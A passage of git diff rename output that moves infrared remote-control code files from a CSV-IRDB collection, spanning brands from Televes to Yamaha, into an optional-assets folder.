assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TiVo/PVR/26,154.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TiVo/TiVo/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/TV/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/VCR/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Uniden/Satellite/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_001/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_111/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/WD/Unknown_TV/132,121.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/XORO/Sat/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Xantech/Programmer/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/YES/Unknown_YES/132,60.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DAT/128,55.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVR/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVR/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVR/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Music Server/128,55.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Projector/209,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Projector/240,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/127,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir (100%) rename assets/resources/infrared/{ => 